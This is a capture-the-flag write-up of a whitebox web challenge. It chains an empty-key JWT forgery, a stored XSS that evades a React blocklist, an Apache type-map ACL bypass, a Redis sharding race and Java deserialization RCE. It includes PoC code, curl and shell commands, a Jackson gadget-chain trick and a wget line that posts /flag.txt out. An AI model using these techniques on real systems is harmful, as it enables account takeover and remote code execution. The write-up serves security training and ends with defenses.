# Signetry — Whitebox Chain Writeup | | | |---|---| | **Challenge** | Signetry (a.k.a. Crownspire) | | **Platform** | HackTheBox-style whitebox | | **Category** | Web / Secure code review → deserialization RCE | | **Difficulty** | Hard | | **Stack** | Apache 2.4 · Go 1.26 (gin) · Java 11 (DL4J 1.0.0-M2.1) · Redis · React 18 · headless Chrome | | **Techniques** | Empty-key JWT forgery · sharded-cache state desync · Apache type-map internal-redirect ACL bypass · React/`html-react-parser` mutation XSS · Java `ObjectInputStream` deserialization (CWE-502) | | **Date** | 2026-07-27 | > Cyber Apocalypse 2026 has concluded. --- ## TL;DR Five bugs, chained. A **JWT signed with an empty key** hands over the *maintainer* account. A **stored XSS** in the appeal queue — smuggled past a React sanitizer with a custom element + CSS animation — makes an internal *warden* bot reset a *curator* password, which is the only role allowed to finalize a model. A **Redis Ring routing bug** lets an uploaded model skip security review entirely. Finalizing that model reaches a Java registry that **deserializes an attacker-controlled `preprocessor.bin` with a raw `ObjectInputStream`**, giving remote code execution and the flag. ``` empty-key JWT ─▶ maintainer │ plants XSS appeal + triggers bot ▼ warden bot (service) ─▶ resets conservator ─▶ curator │ ring desync: stage+withdraw ─▶ "sealed" model, review skipped │ curator /finalize ─▶ Java registry deserializes preprocessor.bin ─▶ RCE ─▶ /flag.txt ``` --- ## Architecture One container, four services behind a single port: ``` :4000 (host) ─▶ :1337 Apache ──ProxyPass──▶ :8090 Go/gin gateway (crownspire) │ │ │ Alias /uploads │ REGISTRY_INTERNAL_TOKEN ▼ ▼ /var/www/uploads :1338 Java registry (signetry, DL4J) │ headless Chrome ◀── /internal/queue │ Redis shards :6379 / :6380 "wardenbot" (logs in as warden) ``` - **Apache** terminates the public port, proxies everything to the gateway except `/uploads` (served from disk), and enforces one ACL: a `mod_rewrite` deny on `/internal`. - **Gateway (Go/gin)** is the app: auth, model staging/sealing, appeals, the credential-reset admin endpoint, and loopback-only `/internal/*` endpoints that drive the bot. - **Registry (Java)** is internal-only. It certifies sealed models and, in a background "preview" thread, loads them with DL4J's `ModelSerializer`. - **wardenbot** is a headless Chrome that polls an internal queue and visits whatever path is queued, authenticated as `warden@htb.com`. - **Redis** stores staged model blobs and their review-state markers across two shards. The flag is `/flag.txt` (mode `0444`); the Java registry runs as the unprivileged user `registry`. --- ## Bug 1 — Maintainer takeover via an empty-key JWT ### Root cause The gateway builds its authenticator on `qor/auth` without ever setting a token-signing secret: ```go // crownspire/internal/auth/authenticator.go qor := qorauth.New(&qorauth.Config{DB: gormDB}) ``` `qor/auth`'s constructor defaults `SessionName` and `SigningMethod` (HS256) but **leaves `SignedString` empty**. Its `ValidateClaims` therefore verifies the token's HMAC against `[]byte("")`: ```go // qor/auth session_storer.go token, err := jwt.ParseWithClaims(tokenString, &claims.Claims{}, func(t *jwt.Token) (interface{}, error) { if t.Method != sessionStorer.SigningMethod { return nil, fmt.Errorf("unexpected signing method") } return []byte(sessionStorer.SignedString), nil // == []byte("") }) ``` The password-reset handler then trusts the `jti` claim as the account to reset, and only gates on it being the maintainer: ```go // authenticator.go — ResetPassword uid := claims.Id // jti if uid != MaintainerLogin { ... } // MaintainerLogin = "dms@htb.com" a.setPassword(uid, newPassword) ``` Anyone who can HMAC-SHA256 with an empty key — i.e. anyone — can mint a valid reset token for `dms@htb.com`. ### PoC ```python import base64, hmac, hashlib, json b = lambda x: base64.urlsafe_b64encode(x).rstrip(b"=") h = b(json.dumps({"alg":"HS256","typ":"JWT"}).encode()) p = b(json.dumps({"jti":"dms@htb.com"}).encode()) sig = b(hmac.new(b"", h+b"."+p, hashlib.sha256).digest()) print((h+b"."+p+b"."+sig).decode()) ``` ```bash $ curl -sX POST $T/auth/password/update -H 'Content-Type: application/json' \ -d '{"reset_password_token":"","new_password":"Pwn3d!"}' {"status":"password updated","user":"dms@htb.com"} $ curl -sX POST $T/api/login -H 'Content-Type: application/json' \ -d '{"login":"dms@htb.com","password":"Pwn3d!"}' {"session":"54c9dfcb…","user":"dms@htb.com"} ``` We now hold `maintainer`, which grants staging, appeals, and attachment upload — but **not** model finalization. --- ## Bug 2 — Curator escalation via a bot-driven stored XSS ### The role wall Finalizing a model needs `model:finalize`, held only by `curator`: ```go // auth/identity.go RoleCurator: { PermissionRead:true, PermissionReviewAppeals:true, PermissionModelFinalize:true }, RoleService: { PermissionRead:true, PermissionReviewAppeals:true, PermissionCredentialReissue:true }, ``` The only curator is `conservator@htb.com` with a random password. Resetting it needs `credential:reissue`, held only by `service` — i.e. `warden@htb.com`, whose password is also random and only used by the internal bot. So the attack is: **get the warden bot to reset the curator for us.** `canReissueCredential` permits exactly this pairing (service actor → curator target). ### The XSS sink and the sanitizer that doesn't sanitize Appeal bodies are rendered with `html-react-parser`, filtered only by an **element-name** blocklist: ```jsx // MemoryBank.jsx const BLOCKED_APPEAL_ELEMENTS = new Set(['iframe','frame','frameset','object','embed','meta','base','link','script']); const APPEAL_PARSE_OPTIONS = { replace(node){ if (BLOCKED_APPEAL_ELEMENTS.has(node.name)) return <>; } }; // ... {parse(a.body, APPEAL_PARSE_OPTIONS)} ``` The blocklist is exactly the set of auto-loading elements. Everything else — including inline event handlers — is passed to React. And the gateway CSP notably allows `script-src-attr 'unsafe-inline'`, which is the hint: inline handlers are the intended vector. ### The dead end (worth showing) The obvious payload `` **does not fire**. React 18 strips string `on*` handlers from known elements. Rendering it through the exact client stack confirms it: ``` "" =>
// handler gone ``` React keeps `on*` only on **custom (hyphenated) elements**, and keeps `javascript:` URLs — but every auto-navigating element that could abuse those is on the blocklist. ### The vector that works A custom element is still an `HTMLElement`, so it carries `GlobalEventHandlers` (including the CSS-animation events). A CSS animation on that element fires `animationstart` at render — no interaction, no blocklisted tag, and React leaves the handler intact because the tag is custom: ```html ``` Verified intact through `html-react-parser` + React on a real DOM: ``` onanimationstart present: true style present: animation: _p 1s; @keyframes present: true ``` ### Reaching the bot — Apache type-map internal-redirect ACL bypass The bot only visits paths on an internal queue, filled by `POST /internal/dispatch`. Two guards stand in the way: ```go // handler.go — gin RemoteIP is the TCP peer (Apache), so this passes for proxied requests internal := r.Group("/internal", loopbackOnly()) ``` ```apache # apache/signetry.conf — deny /internal, but exempt subrequests and internal redirects RewriteCond %{IS_SUBREQ} =false RewriteCond %{ENV:REDIRECT_STATUS} ="" RewriteRule ^/internal(/|$) - [F] ``` `loopbackOnly()` is satisfied because gin sees Apache (127.0.0.1) as the peer. The rewrite deny is the real gate — but it exempts internal redirects (`REDIRECT_STATUS` set). `/uploads` has `AddHandler type-map .var`, and `mod_negotiation`'s type-map handler ends in `ap_internal_redirect()`, which sets `REDIRECT_STATUS`. So a type-map whose variant URI points at `/internal/dispatch` slips straight past the deny: ```bash $ printf 'URI: ../internal/dispatch\nContent-Type: text/plain; qs=1.0\n' > t.var $ curl -sX POST "$T/api/attachments?name=t.var" -H "Authorization: $SID" --data-binary @t.var {"path":"/uploads/t.var"} $ curl -s "$T/uploads/t.var" {"status":"queued for review"} # ← /internal/dispatch answered through the redirect ``` `/admin` is now queued. The bot logs in as warden, visits `/admin`, the React app auto-opens the review queue for the `service` role, our appeal renders, the animation fires, and the reset runs as warden: ``` [+] conservator session: 763b40a944… (role=curator) ``` We now hold `curator`. --- ## Bug 3 — Skipping model review via a Redis Ring desync ### Root cause Staged models live in Redis behind a `go-redis` **Ring** (client-side sharding). Staging writes three keys with three independent `Set` calls, so each key hashes to whichever shard the Ring picks for it: ```go // store/store.go d.ring.Set(ctx, fmt.Sprintf(blobKey, token), model, ttl) // model:blob: d.ring.Set(ctx, fmt.Sprintf(unsealedKey, token), "1", ttl) // model:unsealed: d.ring.Set(ctx, fmt.Sprintf(intakeKey, token), "1", ttl) // model:intake: ``` `Withdraw` deletes all three in a **single multi-key `DEL`**: ```go func (d *Drafts) Withdraw(ctx context.Context, token string) (int64, error) { return d.ring.Del(ctx, unsealedKey, intakeKey, blobKey).Result() } ``` But `go-redis`'s Ring routes a multi-key command by the **first key only**: ```go // go-redis ring.go firstKey := cmd.stringArg(pos) return c.sharding.GetByKey(firstKey) // only unsealedKey's shard is targeted ``` So `DEL` runs on the shard that owns `model:unsealed:` and silently misses any of the three keys that hashed to the *other* shard. `Sealed()` is defined as "both markers absent": ```go func (d *Drafts) Sealed(ctx, token) bool { return unsealed-absent && intake-absent } ``` Whenever the blob key lands on the opposite shard from the markers, `stage` + `withdraw` leaves the **blob alive** while both markers are deleted → the model is "sealed" without ever passing `Seal`'s review (`review.Review`, the elaborate double zip parser, is never invoked). Roughly a **1-in-4** outcome per random token; `GET /api/versions/` reveals it (`exists:true, stage:approved`). > The whole `review.Review()` central-directory-vs-local-header zip-parsing puzzle is a decoy: this bug bypasses review entirely. ### PoC ```python while True: t = stage(malicious_model) # POST /stage withdraw(t) # POST /withdraw v = versions(t) # GET /api/versions/ if v["exists"] and v["stage"] == "approved": if finalize(t) == 202: # POST /finalize (curator) break # blob survived + markers gone ``` --- ## Bug 4 — RCE via DL4J `preprocessor.bin` deserialization (CWE-502) ### Root cause Finalizing ships the sealed blob to the Java registry, which validates then previews it: ```java // CertifierService.java ValidationResult vr = DL4JModelValidator.validateMultiLayerNetwork(tmp.toFile()); // JSON only ... MultiLayerNetwork net = ModelSerializer.restoreMultiLayerNetwork(model.toFile(), false); ``` A DL4J model is a zip. `restoreMultiLayerNetwork` reads the `preprocessor.bin` entry with a **raw `ObjectInputStream`**, before it ever checks the config/coefficients: ```java // deeplearning4j ModelSerializer (1.0.0-M2.1) byte[] prep = zipFile.get(PREPROCESSOR_BIN); if (prep != null) { ObjectInputStream ois = new ObjectInputStream(stream); preProcessor = (DataSetPreProcessor) ois.readObject(); // <-- CWE-502 } ``` The validator only parses `configuration.json` and requires a `coefficients.bin` entry to *exist* — it never reads its bytes, and it permits extra entries. So a model with a genuine `configuration.json`, a **zero-byte** `coefficients.bin` (which makes `restore` skip `Nd4j.read`, so nothing throws before the `readObject`), and a malicious `preprocessor.bin` passes validation and detonates on preview. ### Gadget selection The victim classpath (`/app/libs`) rules out the usual suspects: no `commons-collections` (CC4 is explicitly excluded in `pom.xml`, CC3 absent), no `commons-beanutils`, groovy, spring, or rome. The **only** deserialization trigger available is **shaded Jackson** (`org.nd4j.shade.jackson`, 2.13.x, in `jackson-1.0.0-M2.1.jar`): ``` BadAttributeValueExpException.readObject() └─ val.toString() // POJONode └─ Jackson serializes the bean // TemplatesImpl └─ getOutputProperties() → newTransformer() → defineTransletClasses() └─ translet → Runtime.exec(cmd) ``` ### The trap that actually mattered Building this chain naively **self-destructs in the builder**. Jackson ≥ 2.10 added `BaseJsonNode.writeReplace()`, which eagerly serializes the node via `NodeSerialization` the instant you `writeObject` it — firing `getOutputProperties()` in *your* JVM and replacing the node with a useless JSON proxy. The tell was an NPE deep in `AbstractTranslet.postInitialization` originating from the generator's own `oos.writeObject`. Fix: null the cached `writeReplace` method on the node's `ObjectStreamClass` before serializing, so `ObjectOutputStream` writes the `POJONode` in plain object form (its `_value` = the `TemplatesImpl`). The chain then fires on the **target's** `readObject → val.toString()`, exactly where it should: ```java static void neutralizeWriteReplace(Class cls) throws Exception { ObjectStreamClass osc = ObjectStreamClass.lookup(cls); Field f = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod"); f.setAccessible(true); f.set(osc, null); // ObjectOutputStream reuses this cached descriptor } ``` The translet's static initializer exfiltrates the flag back through the gateway's own upload endpoint (no external egress needed), which we then read from `/uploads`: ``` wget -q --header='Authorization: ' --post-file=/flag.txt \ 'http://127.0.0.1:8090/api/attachments?name=flag_xxxx.txt' ``` ### Proof ``` [+] finalized token 3e8f… on attempt 7 -> certifier will deserialize it [*] reading exfiltrated flag from /uploads [+] FLAG: HTB{INSERT_YOUR_CAPTURED_FLAG} ``` Container-side confirmation — note that `preview failed` here is *success*: the translet ran first, then `restore` throws on the empty coefficients: ``` [certifier] preview failed: RuntimeException ``` --- ## Full PoC Four files, fully automated (`run.sh` brings the box up and dumps the classpath; `exploit.py` runs all five stages; `GenModel.java` builds the model/gadget inside a JDK container against the target's own libs; `README.md` documents it): ```bash $ bash signetry-exploit/run.sh # local build + classpath dump $ python3 signetry-exploit/exploit.py # local run $ python3 signetry-exploit/exploit.py --target http://TARGET:PORT # remote spawn ``` The exploit is idempotent per stage, caches the copied `/app/libs`, and rebuilds the model with each run's fresh maintainer session baked into the exfil. --- ## Lessons & defenses - **Never construct an auth library with defaults for the signing secret.** `qor/auth` with no `SignedString` verifies against an empty key. Require a secret at startup and fail closed; the gateway already does this for `REGISTRY_INTERNAL_TOKEN` — the same discipline was missing for JWTs. - **Client-side sharded caches are not transactional.** `go-redis` Ring routes multi-key commands by the first key, so a `DEL` across keys on different shards is not atomic and not complete. Key security-state markers by a **hash tag** (`{token}`) so all keys co-locate, or delete each key with its own command and verify. Never derive an authorization state ("sealed") from the *absence* of markers you can't guarantee you deleted. - **Allowlist HTML, don't blocklist tags.** An element-name blocklist over `html-react-parser` misses attribute-based and mutation vectors (custom-element + CSS-animation here). Sanitize with a library that strips event handlers and unknown attributes (DOMPurify), and don't rely on React's incidental stripping. - **Type-maps turn `/uploads` into a request-forgery primitive.** `AddHandler type-map .var` on a user-writable directory lets an attacker drive `mod_negotiation` into arbitrary internal redirects, bypassing `mod_rewrite` ACLs that (necessarily) exempt internal redirects. Don't enable type-maps on upload dirs; gate internal endpoints by an authenticated shared secret, not by "looks like loopback." - **Loading a model is executing untrusted input.** DL4J's `ModelSerializer` deserializes `preprocessor.bin` with a raw `ObjectInputStream`. Any "load a model file" surface is an RCE sink. Set a strict `ObjectInputFilter`/allowlist, validate archive contents before loading, and treat model files from users as hostile. --- ## Tools used | Tool | Purpose | |---|---| | Manual source review (Go/Java/Apache/React) | Find and chain the five bugs | | Python (stdlib) | Orchestrate the full chain, forge the JWT, race the ring | | `html-react-parser` + React (local harness) | Empirically confirm which XSS vectors survive rendering | | `eclipse-temurin:11-jdk` container | Build the model + gadget against the target's exact `/app/libs` | | Custom Java gadget generator | Shaded-Jackson `TemplatesImpl` payload with `writeReplace` neutralized | | Docker / Docker Compose | Stand up the challenge locally for whitebox iteration |